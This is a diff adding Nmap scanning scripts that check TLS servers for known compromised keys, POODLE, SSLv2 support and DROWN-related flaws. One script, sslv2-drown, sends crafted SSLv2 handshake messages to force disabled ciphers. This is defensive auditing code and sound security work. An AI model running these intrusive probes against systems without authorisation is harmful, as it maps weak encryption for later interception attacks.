diff --git a/scripts/ssl-known-key.nse b/scripts/ssl-known-key.nse
new file mode 100644
index 0000000..bbea635
--- /dev/null
+++ b/scripts/ssl-known-key.nse
@@ -0,0 +1,136 @@
+local io = require "io"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local sslcert = require "sslcert"
+local tls = require "tls"
+
+description = [[
+Checks whether the SSL certificate used by a host has a fingerprint
+that matches an included database of problematic keys.
+
+The only databases currently checked are the LittleBlackBox 0.1 database of
+compromised keys from various devices, some keys reportedly used by the Chinese
+state-sponsored hacking division APT1
+(https://www.fireeye.com/blog/threat-research/2013/03/md5-sha1.html),
+and the key used by CARBANAK malware
+(https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html).
+However, any file of fingerprints will serve just as well. For example, this
+could be used to find weak Debian OpenSSL keys using the widely available (but
+too large to include with Nmap) list.
+]]
+
+---
+-- @usage
+-- nmap --script ssl-known-key -p 443 <host>
+--
+-- @args ssl-known-key.fingerprintfile Specify a different file to read
+-- fingerprints from.
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 443/tcp open https syn-ack
+-- |_ssl-known-key: Found in Little Black Box 0.1 (SHA-1: 0028 e7d4 9cfa 4aa5 984f e497 eb73 4856 0787 e496)
+--
+-- @xmloutput
+-- <table>
+-- <elem key="section">Little Black Box 0.1</elem>
+-- <elem key="sha1">0028e7d49cfa4aa5984fe497eb7348560787e496</elem>
+-- </table>
+
+author = "Mak Kolybabi"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery", "vuln", "default"}
+dependencies = {"https-redirect"}
+
+local FINGERPRINT_FILE = "ssl-fingerprints"
+
+local get_fingerprints = function(path)
+ -- Check registry for cached fingerprints.
+ if nmap.registry.ssl_fingerprints then
+ stdnse.debug2("Using cached SSL fingerprints.")
+ return true, nmap.registry.ssl_fingerprints
+ end
+
+ -- Attempt to resolve path if it is relative.
+ local full_path = nmap.fetchfile("nselib/data/" .. path)
+ if not full_path then
+ full_path = path
+ end
+ stdnse.debug2("Loading SSL fingerprints from %s.", full_path)
+
+ -- Open database.
+ local file = io.open(full_path, "r")
+ if not file then
+ return false, "Failed to open file " .. full_path
+ end
+
+ -- Parse database.
+ local section = nil
+ local fingerprints = {}
+ for line in file:lines() do
+ line = line:gsub("#.*", "")
+ line = line:gsub("^%s*", "")
+ line = line:gsub("%s*$", "")
+ if line ~= "" then
+ if line:sub(1,1) == "[" then
+ -- Start a new section.
+ line = line:sub(2, #line - 1)
+ stdnse.debug4("Starting new section %s.", line)
+ section = line
+ elseif section ~= nil then
+ -- Add fingerprint to section.
+ local fingerprint = stdnse.fromhex(line)
+ if #fingerprint == 20 then
+ fingerprints[fingerprint] = section
+ stdnse.debug4("Added key %s to database.", line)
+ else
+ stdnse.debug0("Cannot parse presumed fingerprint %q in section %q.", line, section)
+ end
+ else
+ -- Key found outside of section.
+ stdnse.debug1("Key %s is not in a section.", line)
+ end
+ end
+ end
+
+ -- Close database.
+ file:close()
+
+ -- Cache fingerprints in registry for future runs.
+ nmap.registry.ssl_fingerprints = fingerprints
+
+ return true, fingerprints
+end
+
+portrule = shortport.ssl
+
+action = function(host, port)
+ -- Get script arguments.
+ host.targetname = tls.servername(host)
+ local path = stdnse.get_script_args("ssl-known-key.fingerprintfile") or FINGERPRINT_FILE
+ local status, result = get_fingerprints(path)
+ if not status then
+ stdnse.debug1("%s", result)
+ return
+ end
+ local fingerprints = result
+
+ -- Get SSL certificate.
+ local status, cert = sslcert.getCertificate(host, port)
+ if not status then
+ stdnse.debug1("sslcert.getCertificate error: %s", cert)
+ return
+ end
+ local fingerprint = cert:digest("sha1")
+ local fingerprint_fmt = stdnse.tohex(fingerprint, {separator=" ", group=4})
+
+ -- Check SSL fingerprint against database.
+ local section = fingerprints[fingerprint]
+ if not section then
+ stdnse.debug2("%s was not in the database.", fingerprint_fmt)
+ return
+ end
+
+ return {section=section, sha1=stdnse.tohex(fingerprint)}, "Found in " .. section .. " (SHA-1: " .. fingerprint_fmt .. ")"
+end
diff --git a/scripts/ssl-poodle.nse b/scripts/ssl-poodle.nse
new file mode 100644
index 0000000..f9d1b9d
--- /dev/null
+++ b/scripts/ssl-poodle.nse
@@ -0,0 +1,357 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local sslcert = require "sslcert"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local tableaux = require "tableaux"
+local tls = require "tls"
+local listop = require "listop"
+local vulns = require "vulns"
+
+description = [[
+Checks whether SSLv3 CBC ciphers are allowed (POODLE)
+
+Run with -sV to use Nmap's service scan to detect SSL/TLS on non-standard
+ports. Otherwise, ssl-poodle will only run on ports that are commonly used for
+SSL.
+
+POODLE is CVE-2014-3566. All implementations of SSLv3 that accept CBC
+ciphersuites are vulnerable. For speed of detection, this script will stop
+after the first CBC ciphersuite is discovered. If you want to enumerate all CBC
+ciphersuites, you can use Nmap's own ssl-enum-ciphers to do a full audit of
+your TLS ciphersuites.
+]]
+
+---
+-- @usage
+-- nmap -sV --version-light --script ssl-poodle -p 443 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 443/tcp open https syn-ack
+-- | ssl-poodle:
+-- | VULNERABLE:
+-- | SSL POODLE information leak
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2014-3566 BID:70574
+-- | The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and
+-- | other products, uses nondeterministic CBC padding, which makes it easier
+-- | for man-in-the-middle attackers to obtain cleartext data via a
+-- | padding-oracle attack, aka the "POODLE" issue.
+-- | Disclosure date: 2014-10-14
+-- | Check results:
+-- | TLS_RSA_WITH_3DES_EDE_CBC_SHA
+-- | References:
+-- | https://www.imperialviolet.org/2014/10/14/poodle.html
+-- | https://www.securityfocus.com/bid/70574
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
+-- |_ https://www.openssl.org/~bodo/ssl-poodle.pdf
+--
+-- @see ssl-enum-ciphers.nse
+
+author = "Daniel Miller"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"vuln", "safe"}
+
+dependencies = {"ssl-enum-ciphers", "https-redirect"}
+
+-- Test this many ciphersuites at a time.
+-- http://seclists.org/nmap-dev/2012/q3/156
+-- http://seclists.org/nmap-dev/2010/q1/859
+local CHUNK_SIZE = 64
+
+-- Add additional context (protocol) to debug output
+local function ctx_log(level, protocol, fmt, ...)
+ return stdnse.print_debug(level, "(%s) " .. fmt, protocol, ...)
+end
+
+local function try_params(host, port, t)
+ local timeout = ((host.times and host.times.timeout) or 5) * 1000 + 5000
+
+ -- Create socket.
+ local status, sock, err
+ local specialized = sslcert.getPrepareTLSWithoutReconnect(port)
+ if specialized then
+ status, sock = specialized(host, port)
+ if not status then
+ ctx_log(1, t.protocol, "Can't connect: %s", sock)
+ return nil
+ end
+ else
+ sock = nmap.new_socket()
+ sock:set_timeout(timeout)
+ status, err = sock:connect(host, port)
+ if not status then
+ ctx_log(1, t.protocol, "Can't connect: %s", err)
+ sock:close()
+ return nil
+ end
+ end
+
+ sock:set_timeout(timeout)
+
+ -- Send request.
+ local req = tls.client_hello(t)
+ status, err = sock:send(req)
+ if not status then
+ ctx_log(1, t.protocol, "Can't send: %s", err)
+ sock:close()
+ return nil
+ end
+
+ -- Read response.
+ local buffer = ""
+ local i = 1
+ while true do
+ status, buffer, err = tls.record_buffer(sock, buffer, i)
+ if not status then
+ ctx_log(1, t.protocol, "Couldn't read a TLS record: %s", err)
+ return nil
+ end
+ -- Parse response.
+ local record
+ i, record = tls.record_read(buffer, i)
+ if record and record.type == "alert" and record.body[1].level == "warning" then
+ ctx_log(1, t.protocol, "Ignoring warning: %s", record.body[1].description)
+ -- Try again.
+ elseif record then
+ sock:close()
+ return record
+ end
+ end
+end
+
+local function sorted_keys(t)
+ local ret = {}
+ for k, _ in pairs(t) do
+ ret[#ret+1] = k
+ end
+ table.sort(ret)
+ return ret
+end
+
+local function in_chunks(t, size)
+ local ret = {}
+ for i = 1, #t, size do
+ local chunk = {}
+ for j = i, i + size - 1 do
+ chunk[#chunk+1] = t[j]
+ end
+ ret[#ret+1] = chunk
+ end
+ return ret
+end
+
+local function remove(t, e)
+ for i, v in ipairs(t) do
+ if v == e then
+ table.remove(t, i)
+ return i
+ end
+ end
+ return nil
+end
+
+-- https://bugzilla.mozilla.org/show_bug.cgi?id=946147
+local function remove_high_byte_ciphers(t)
+ local output = {}
+ for i, v in ipairs(t) do
+ if tls.CIPHERS[v] <= 255 then
+ output[#output+1] = v
+ end
+ end
+ return output
+end
+
+local function base_extensions(host)
+ local tlsname = tls.servername(host)
+ return {
+ -- Claim to support common elliptic curves
+ ["elliptic_curves"] = tls.EXTENSION_HELPERS["elliptic_curves"](tls.DEFAULT_ELLIPTIC_CURVES),
+ -- Enable SNI if a server name is available
+ ["server_name"] = tlsname and tls.EXTENSION_HELPERS["server_name"](tlsname),
+ }
+end
+
+-- Find which ciphers out of group are supported by the server.
+local function find_ciphers_group(host, port, protocol, group)
+ local name, protocol_worked, record, results
+ results = {}
+ local t = {
+ ["protocol"] = protocol,
+ ["extensions"] = base_extensions(host),
+ }
+
+ -- This is a hacky sort of tristate variable. There are three conditions:
+ -- 1. false = either ciphers or protocol is bad. Keep trying with new ciphers
+ -- 2. nil = The protocol is bad. Abandon thread.
+ -- 3. true = Protocol works, at least some cipher must be supported.
+ protocol_worked = false
+ while (next(group)) do
+ t["ciphers"] = group
+
+ record = try_params(host, port, t)
+
+ if record == nil then
+ if protocol_worked then
+ ctx_log(2, protocol, "%d ciphers rejected. (No handshake)", #group)
+ else
+ ctx_log(1, protocol, "%d ciphers and/or protocol rejected. (No handshake)", #group)
+ end
+ break
+ elseif record["protocol"] ~= protocol or record["body"][1]["protocol"] and record.body[1].protocol ~= protocol then
+ ctx_log(1, protocol, "Protocol rejected.")
+ protocol_worked = nil
+ break
+ elseif record["type"] == "alert" and record["body"][1]["description"] == "handshake_failure" then
+ protocol_worked = true
+ ctx_log(2, protocol, "%d ciphers rejected.", #group)
+ break
+ elseif record["type"] ~= "handshake" or record["body"][1]["type"] ~= "server_hello" then
+ ctx_log(2, protocol, "Unexpected record received.")
+ break
+ else
+ protocol_worked = true
+ name = record["body"][1]["cipher"]
+ ctx_log(1, protocol, "Cipher %s chosen.", name)
+ if not remove(group, name) then
+ ctx_log(1, protocol, "chose cipher %s that was not offered.", name)
+ ctx_log(1, protocol, "removing high-byte ciphers and trying again.")
+ local size_before = #group
+ group = remove_high_byte_ciphers(group)
+ ctx_log(1, protocol, "removed %d high-byte ciphers.", size_before - #group)
+ if #group == size_before then
+ -- No changes... Server just doesn't like our offered ciphers.
+ break
+ end
+ else
+ -- Add cipher to the list of accepted ciphers.
+ table.insert(results, name)
+ -- POODLE check doesn't care about the rest of the ciphers
+ break
+ end
+ end
+ end
+ return results, protocol_worked
+end
+
+-- POODLE only affects CBC ciphers
+local cbc_ciphers = listop.filter(
+ function(x) return string.find(x, "_CBC_",1,true) end,
+ sorted_keys(tls.CIPHERS)
+ )
+-- move these to the top, more likely to be supported
+for _, c in ipairs({
+ "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", --mandatory for TLSv1.0
+ "TLS_RSA_WITH_3DES_EDE_CBC_SHA", -- mandatory for TLSv1.1
+ "TLS_RSA_WITH_AES_128_CBC_SHA", -- mandatory fro TLSv1.2
+ }) do
+ remove(cbc_ciphers, c)
+ table.insert(cbc_ciphers, 1, c)
+end
+
+-- Break the cipher list into chunks of CHUNK_SIZE (for servers that can't
+-- handle many client ciphers at once), and then call find_ciphers_group on
+-- each chunk.
+local function find_ciphers(host, port, protocol)
+ local name, protocol_worked, results, chunk
+ local ciphers = in_chunks(cbc_ciphers, CHUNK_SIZE)
+
+ results = {}
+
+ -- Try every cipher.
+ for _, group in ipairs(ciphers) do
+ chunk, protocol_worked = find_ciphers_group(host, port, protocol, group)
+ if protocol_worked == nil then return nil end
+ for _, name in ipairs(chunk) do
+ table.insert(results, name)
+ end
+ -- Another POODLE shortcut
+ if protocol_worked and next(results) then return results end
+ end
+ return results
+end
+
+-- check if draft-ietf-tls-downgrade-scsv-00 is implemented as a mitigation
+local function check_fallback_scsv(host, port, protocol, ciphers)
+ local results = {}
+ local t = {
+ ["protocol"] = protocol,
+ ["extensions"] = base_extensions(host),
+ }
+
+ t["ciphers"] = tableaux.tcopy(ciphers)
+ t.ciphers[#t.ciphers+1] = "TLS_FALLBACK_SCSV"
+
+ -- TODO: remove this check after the next release.
+ -- Users are using this script without the necessary tls.lua changes
+ if not tls.TLS_ALERT_REGISTRY["inappropriate_fallback"] then
+ -- This could get dangerous if mixed with ssl-enum-ciphers
+ -- so we make this script dependent on ssl-enum-ciphers and hope for the best.
+ tls.CIPHERS["TLS_FALLBACK_SCSV"] = 0x5600
+ tls.TLS_ALERT_REGISTRY["inappropriate_fallback"] = 86
+ end
+
+ local record = try_params(host, port, t)
+
+ -- cleanup (also remove after next release)
+ tls.CIPHERS["TLS_FALLBACK_SCSV"] = nil
+
+ if record and record["type"] == "alert" and record["body"][1]["description"] == "inappropriate_fallback" then
+ ctx_log(2, protocol, "TLS_FALLBACK_SCSV rejected properly.")
+ return true
+ end
+ return false
+end
+
+portrule = function (host, port)
+ return shortport.ssl(host, port) or sslcert.getPrepareTLSWithoutReconnect(port)
+end
+
+action = function(host, port)
+ local vuln_table = {
+ title = "SSL POODLE information leak",
+ description = [[
+ The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
+ products, uses nondeterministic CBC padding, which makes it easier
+ for man-in-the-middle attackers to obtain cleartext data via a
+ padding-oracle attack, aka the "POODLE" issue.]],
+ state = vulns.STATE.NOT_VULN,
+ IDS = {
+ CVE = 'CVE-2014-3566',
+ BID = '70574'
+ },
+ SCORES = {
+ CVSSv2 = '4.3'
+ },
+ dates = {
+ disclosure = {
+ year = 2014, month = 10, day = 14
+ }
+ },
+ references = {
+ "https://www.openssl.org/~bodo/ssl-poodle.pdf",
+ "https://www.imperialviolet.org/2014/10/14/poodle.html"
+ }
+ }
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ local ciphers = find_ciphers(host, port, 'SSLv3')
+ if ciphers == nil then
+ vuln_table.check_results = { "SSLv3 not supported" }
+ elseif #ciphers == 0 then
+ vuln_table.check_results = { "No CBC ciphersuites found" }
+ else
+ vuln_table.check_results = ciphers
+ if check_fallback_scsv(host, port, 'SSLv3', ciphers) then
+ table.insert(vuln_table.check_results, "TLS_FALLBACK_SCSV properly implemented")
+ vuln_table.state = vulns.STATE.LIKELY_VULN
+ else
+ vuln_table.state = vulns.STATE.VULN
+ end
+ end
+ return report:make_output(vuln_table)
+end
diff --git a/scripts/sslv2-drown.nse b/scripts/sslv2-drown.nse
new file mode 100644
index 0000000..b0d6989
--- /dev/null
+++ b/scripts/sslv2-drown.nse
@@ -0,0 +1,341 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local table = require "table"
+local tableaux = require "tableaux"
+local stdnse = require "stdnse"
+local string = require "string"
+local sslcert = require "sslcert"
+local sslv2 = require "sslv2"
+local vulns = require "vulns"
+
+description = [[
+Determines whether the server supports SSLv2, what ciphers it supports and tests for
+CVE-2015-3197, CVE-2016-0703 and CVE-2016-0800 (DROWN)
+]]
+author = "Bertrand Bonnefoy-Claudet <bertrand@cryptosense.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+-- We can use the set of ciphers detected by sslv2.nse to avoid 1 handshake
+dependencies = {"sslv2"}
+categories = {"intrusive", "vuln"}
+
+---
+-- @output
+-- 443/tcp open https
+-- | sslv2-drown:
+-- | ciphers:
+-- | SSL2_DES_192_EDE3_CBC_WITH_MD5
+-- | SSL2_IDEA_128_CBC_WITH_MD5
+-- | SSL2_RC2_128_CBC_WITH_MD5
+-- | SSL2_RC4_128_WITH_MD5
+-- | SSL2_DES_64_CBC_WITH_MD5
+-- | forced_ciphers:
+-- | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
+-- | SSL2_RC4_128_EXPORT40_WITH_MD5
+-- | vulns:
+-- | CVE-2016-0800:
+-- | title: OpenSSL: Cross-protocol attack on TLS using SSLv2 (DROWN)
+-- | state: VULNERABLE
+-- | ids:
+-- | CVE:CVE-2016-0800
+-- | description:
+-- | The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and
+-- | other products, requires a server to send a ServerVerify message before establishing
+-- | that a client possesses certain plaintext RSA data, which makes it easier for remote
+-- | attackers to decrypt TLS ciphertext data by leveraging a Bleichenbacher RSA padding
+-- | oracle, aka a "DROWN" attack.
+-- |
+-- | refs:
+-- | https://www.openssl.org/news/secadv/20160301.txt
+-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0800
+--
+-- @xmloutput
+-- <table key="ciphers">
+-- <elem>SSL2_DES_192_EDE3_CBC_WITH_MD5</elem>
+-- <elem>SSL2_IDEA_128_CBC_WITH_MD5</elem>
+-- <elem>SSL2_RC2_128_CBC_WITH_MD5</elem>
+-- <elem>SSL2_RC4_128_WITH_MD5</elem>
+-- <elem>SSL2_DES_64_CBC_WITH_MD5</elem>
+-- </table>
+-- <table key="forced_ciphers">
+-- <elem>SSL2_RC2_128_CBC_EXPORT40_WITH_MD5</elem>
+-- <elem>SSL2_RC4_128_EXPORT40_WITH_MD5</elem>
+-- </table>
+-- <table key="vulns">
+-- <table key="CVE-2016-0800">
+-- <elem key="title">OpenSSL: Cross-protocol attack on TLS using SSLv2 (DROWN)</elem>
+-- <elem key="state">VULNERABLE</elem>
+-- <table key="ids">
+-- <elem>CVE:CVE-2016-0800</elem>
+-- </table>
+-- <table key="description">
+-- <elem>
+-- The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before
+-- 1.0.2g and other products, requires a server to send a ServerVerify
+-- message before establishing that a client possesses certain plaintext
+-- RSA data, which makes it easier for remote attackers to decrypt TLS
+-- ciphertext data by leveraging a Bleichenbacher RSA padding oracle, aka
+-- a "DROWN" attack.
+-- </elem>
+-- </table>
+-- <table key="refs">
+-- <elem>https://www.openssl.org/news/secadv/20160301.txt</elem>
+-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0800</elem>
+-- </table>
+-- </table>
+-- </table>
+
+
+-- Those ciphers are weak enough to enable a "General DROWN" attack.
+local GENERAL_DROWN_CIPHERS = {}
+for k, v in pairs(sslv2.SSL_CIPHERS) do
+ -- 40 bits or less, or single-DES (56 bits)
+ if v.encrypted_key_length <= 5 or v.str:find("DES_64") then
+ GENERAL_DROWN_CIPHERS[v.str] = true
+ end
+end
+
+portrule = function(host, port)
+ return shortport.ssl(host, port) or sslcert.getPrepareTLSWithoutReconnect(port)
+end
+
+-- Return whether all values of "t1" are also values in "t2".
+local function values_in(t1, t2)
+ local set = {}
+ for _, e in pairs(t2) do
+ set[e] = true
+ end
+ for _, e in pairs(t1) do
+ if not set[e] then
+ return false
+ end
+ end
+ return true
+end
+
+-- Create a socket ready to begin an SSL negotiation and send client_hello
+local function do_setup(host, port)
+ local timeout = stdnse.get_timeout(host, 10000, 5000)
+ local status, socket, err
+ local starttls = sslcert.getPrepareTLSWithoutReconnect(port)
+ if starttls then
+ status, socket = starttls(host, port)
+ if not status then
+ stdnse.debug(1, "Can't connect using STARTTLS: %s", socket)
+ return nil
+ end
+ else
+ socket = nmap.new_socket()
+ socket:set_timeout(timeout)
+ status, err = socket:connect(host, port)
+ if not status then
+ stdnse.debug(1, "Can't connect: %s", err)
+ return nil
+ end
+ end
+ socket:set_timeout(timeout)
+ socket:send(sslv2.client_hello(tableaux.keys(sslv2.SSL_CIPHER_CODES)))
+ local status, buffer = sslv2.record_buffer(socket)
+ if not status then
+ socket:close()
+ return false
+ end
+ return socket, buffer
+end
+
+local function try_force_cipher(host, port, cipher)
+ local socket, buffer = do_setup(host, port)
+ if not socket then
+ return false
+ end
+
+ local i, server_hello = sslv2.record_read(buffer)
+
+ local code = sslv2.SSL_CIPHER_CODES[cipher]
+ local key_length = sslv2.SSL_CIPHERS[code].key_length
+ local encrypted_key_length = sslv2.SSL_CIPHERS[code].encrypted_key_length
+
+ local dummy_key = string.rep("\0", key_length)
+ local clear_key = dummy_key:sub(1, key_length - encrypted_key_length)
+ local encrypted_key = dummy_key:sub(key_length - encrypted_key_length + 1)
+
+ local dummy_client_master_key = sslv2.client_master_secret(cipher, clear_key, encrypted_key)
+ socket:send(dummy_client_master_key)
+ local status, buffer = sslv2.record_buffer(socket, buffer, i)
+ socket:close()
+ if not status then
+ return false
+ end
+ local i, message = sslv2.record_read(buffer, i)
+
+ -- Treat an error as a failure to force the cipher.
+ if not message or message.message_type == sslv2.SSL_MESSAGE_TYPES.ERROR then
+ return false
+ end
+
+ return true
+end
+
+local function has_extra_clear_bug(host, port, cipher)
+ local socket, buffer = do_setup(host, port)
+ if not socket then
+ return false
+ end
+
+ local i, server_hello = sslv2.record_read(buffer)
+
+ local code = sslv2.SSL_CIPHER_CODES[cipher]
+ local key_length = sslv2.SSL_CIPHERS[code].key_length
+ local encrypted_key_length = sslv2.SSL_CIPHERS[code].encrypted_key_length
+
+ -- The length of clear_key is intentionally wrong to highlight the bug.
+ local clear_key = string.rep("\0", key_length - encrypted_key_length + 1)
+ local encrypted_key = string.rep("\0", encrypted_key_length)
+
+ local dummy_client_master_key = sslv2.client_master_secret(cipher, clear_key, encrypted_key)
+ socket:send(dummy_client_master_key)
+ local status, buffer, err = sslv2.record_buffer(socket, buffer, i)
+ socket:close()
+ if not status then
+ return false
+ end
+ local i, message = sslv2.record_read(buffer, i)
+
+ -- Treat an error as a failure to force the cipher.
+ if not message or message.message_type == sslv2.SSL_MESSAGE_TYPES.ERROR then
+ return false
+ end
+
+ return true
+end
+
+local function registry_get(host, port)
+ if host.registry.sslv2 then
+ return host.registry.sslv2[port.number .. port.protocol]
+ end
+end
+
+local function unique (t)
+ local tc = {};
+ for k,v in ipairs(t) do
+ tc[v] = true;
+ end
+ return tc;
+end
+
+function action(host, port)
+ local output = stdnse.output_table()
+ local report = vulns.Report:new("sslv2-drown", host, port)
+ local cve_2015_3197 = {
+ title = "OpenSSL: SSLv2 doesn't block disabled ciphers",
+ state = vulns.STATE.NOT_VULN,
+ IDS = {
+ CVE = 'CVE-2015-3197',
+ },
+ risk_factor = "Low",
+ description = [[
+ ssl/s2_srvr.c in OpenSSL 1.0.1 before 1.0.1r and 1.0.2 before 1.0.2f does not
+ prevent use of disabled ciphers, which makes it easier for man-in-the-middle
+ attackers to defeat cryptographic protection mechanisms by performing computations
+ on SSLv2 traffic, related to the get_client_master_key and get_client_hello
+ functions.
+ ]],
+ references = {
+ "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3197",
+ "https://www.openssl.org/news/secadv/20160128.txt",
+ },
+ }
+ local cve_2016_0703 = {
+ title = "OpenSSL: Divide-and-conquer session key recovery in SSLv2",
+ state = vulns.STATE.NOT_VULN,
+ IDS = {
+ CVE = 'CVE-2016-0703',
+ },
+ risk_factor = "High",
+ description = [[
+ The get_client_master_key function in s2_srvr.c in the SSLv2 implementation in
+ OpenSSL before 0.9.8zf, 1.0.0 before 1.0.0r, 1.0.1 before 1.0.1m, and 1.0.2 before
+ 1.0.2a accepts a nonzero CLIENT-MASTER-KEY CLEAR-KEY-LENGTH value for an arbitrary
+ cipher, which allows man-in-the-middle attackers to determine the MASTER-KEY value
+ and decrypt TLS ciphertext data by leveraging a Bleichenbacher RSA padding oracle, a
+ related issue to CVE-2016-0800.
+ ]],
+ references = {
+ "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0703",
+ "https://www.openssl.org/news/secadv/20160301.txt",
+ },
+ }
+ local cve_2016_0800 = {
+ title = "OpenSSL: Cross-protocol attack on TLS using SSLv2 (DROWN)",
+ state = vulns.STATE.NOT_VULN,
+ IDS = {
+ CVE = 'CVE-2016-0800',
+ },
+ risk_factor = "High",
+ description = [[
+ The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and
+ other products, requires a server to send a ServerVerify message before establishing
+ that a client possesses certain plaintext RSA data, which makes it easier for remote
+ attackers to decrypt TLS ciphertext data by leveraging a Bleichenbacher RSA padding
+ oracle, aka a "DROWN" attack.
+ ]],
+ references = {
+ "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0800",
+ "https://www.openssl.org/news/secadv/20160301.txt",
+ },
+ }
+ local offered_ciphers = registry_get(host, port) or sslv2.test_sslv2(host, port)
+ if not offered_ciphers then
+ output.vulns = report:make_output()
+ if (#output > 0) then
+ return output
+ else
+ return nil
+ end
+ end
+ if next(offered_ciphers) then
+ output.ciphers = offered_ciphers
+ end
+
+ -- CVE-2015-3197
+ local forced_ciphers = {}
+ local all_ciphers = unique(offered_ciphers)
+ for cipher, code in pairs(sslv2.SSL_CIPHER_CODES) do
+ if not all_ciphers[cipher] and try_force_cipher(host, port, cipher) then
+ all_ciphers[cipher] = true
+ table.insert(forced_ciphers, cipher)
+ end
+ end
+ if next(forced_ciphers) then
+ output.forced_ciphers = forced_ciphers
+ cve_2015_3197.state = vulns.STATE.VULN
+ end
+
+ -- CVE-2016-0703
+ local cipher, _ = next(all_ciphers)
+ local result = has_extra_clear_bug(host, port, cipher)
+ if result then
+ cve_2016_0703.state = vulns.STATE.VULN
+ end
+
+
+ -- CVE-2016-0800
+ local has_weak_ciphers = false
+ for cipher, _ in pairs(all_ciphers) do
+ if GENERAL_DROWN_CIPHERS[cipher] then
+ has_weak_ciphers = true
+ break
+ end
+ end
+ if has_weak_ciphers or cve_2016_0703.state == vulns.STATE.VULN then
+ cve_2016_0800.state = vulns.STATE.VULN
+ end
+
+ report:add_vulns(cve_2015_3197)
+ report:add_vulns(cve_2016_0703)
+ report:add_vulns(cve_2016_0800)
+
+ output.vulns = report:make_output()
+ if (#output > 0) then
+ return output
+ end
+end
diff --git a/scripts/sslv2.nse b/scripts/sslv2.nse
new file mode 100644
index 0000000..0b7e0a4
--- /dev/null
+++ b/scripts/sslv2.nse
@@ -0,0 +1,57 @@
+local shortport = require "shortport"
+local sslcert = require "sslcert"
+local sslv2 = require "sslv2"
+
+description = [[
+Determines whether the server supports obsolete and less secure SSLv2, and discovers which ciphers it
+supports.
+]]
+
+---
+--@output
+-- 443/tcp open https syn-ack
+-- | sslv2:
+-- | SSLv2 supported
+-- | ciphers:
+-- | SSL2_DES_192_EDE3_CBC_WITH_MD5
+-- | SSL2_IDEA_128_CBC_WITH_MD5
+-- | SSL2_RC2_128_CBC_WITH_MD5
+-- | SSL2_RC4_128_WITH_MD5
+-- | SSL2_DES_64_CBC_WITH_MD5
+-- | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
+-- |_ SSL2_RC4_128_EXPORT40_WITH_MD5
+--@xmloutput
+--<elem>SSLv2 supported</elem>
+--<table key="ciphers">
+-- <elem>SSL2_DES_192_EDE3_CBC_WITH_MD5</elem>
+-- <elem>SSL2_IDEA_128_CBC_WITH_MD5</elem>
+-- <elem>SSL2_RC2_128_CBC_WITH_MD5</elem>
+-- <elem>SSL2_RC4_128_WITH_MD5</elem>
+-- <elem>SSL2_DES_64_CBC_WITH_MD5</elem>
+-- <elem>SSL2_RC2_128_CBC_EXPORT40_WITH_MD5</elem>
+-- <elem>SSL2_RC4_128_EXPORT40_WITH_MD5</elem>
+--</table>
+
+
+author = {"Matthew Boyle", "Daniel Miller"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "safe"}
+
+
+portrule = function(host, port)
+ return shortport.ssl(host, port) or sslcert.getPrepareTLSWithoutReconnect(port)
+end
+
+action = function(host, port)
+ local ciphers = sslv2.test_sslv2(host, port)
+
+ if ciphers then
+ host.registry.sslv2 = host.registry.sslv2 or {}
+ host.registry.sslv2[port.number .. port.protocol] = ciphers
+ return {
+ "SSLv2 supported",
+ ciphers = #ciphers > 0 and ciphers or "none"
+ }
+ end
+end
diff --git a/scripts/sstp-discover.nse b/scripts/sstp-discover.nse
new file mode 100644
index 0000000..34c17e0
--- /dev/null
+++ b/scripts/sstp-discover.nse
@@ -0,0 +1,80 @@
+local comm = require 'comm'
+local string = require 'string'
+local stdnse = require 'stdnse'
+local shortport = require 'shortport'
+
+description = [[
+Check if the Secure Socket Tunneling Protocol is supported. This is
+accomplished by trying to establish the HTTPS layer which is used to
+carry SSTP traffic as described in:
+ - http://msdn.microsoft.com/en-us/library/cc247364.aspx
+
+Current SSTP server implementations:
+ - Microsoft Windows (Server 2008/Server 2012)
+ - MikroTik RouterOS
+ - SEIL (http://www.seil.jp)
+]]
+
+--SSTP specification:
+-- _ http://msdn.microsoft.com/en-us/library/cc247338.aspx
+--
+--Info about the default URI (ServerUri):
+-- - http://support.microsoft.com/kb/947054
+--
+--SSTP Remote Access Step-by-Step Guide: Deployment:
+-- - http://technet.microsoft.com/de-de/library/cc731352(v=ws.10).aspx
+--
+--SSTP enabled hosts (for testing purposes):
+-- - http://billing.purevpn.com/sstp-manual-setup-hostname-list.php
+
+author = "Niklaus Schiess <nschiess@adversec.com>"
+categories = {'discovery', 'default', 'safe'}
+
+---
+--@output
+-- 443/tcp open https
+-- |_sstp-discover: SSTP is supported.
+--@xmloutput
+-- true
+
+-- SSTP negotiation response (Windows)
+--
+-- HTTP/1.1 200
+-- Content-Length: 18446744073709551615
+-- Server: Microsoft-HTTPAPI/2.0
+-- Date: Fri, 01 Nov 2013 00:00:00 GMT
+
+-- SSTP negotiation response (Mikrotik RouterOS)
+--
+-- HTTP/1.1 200
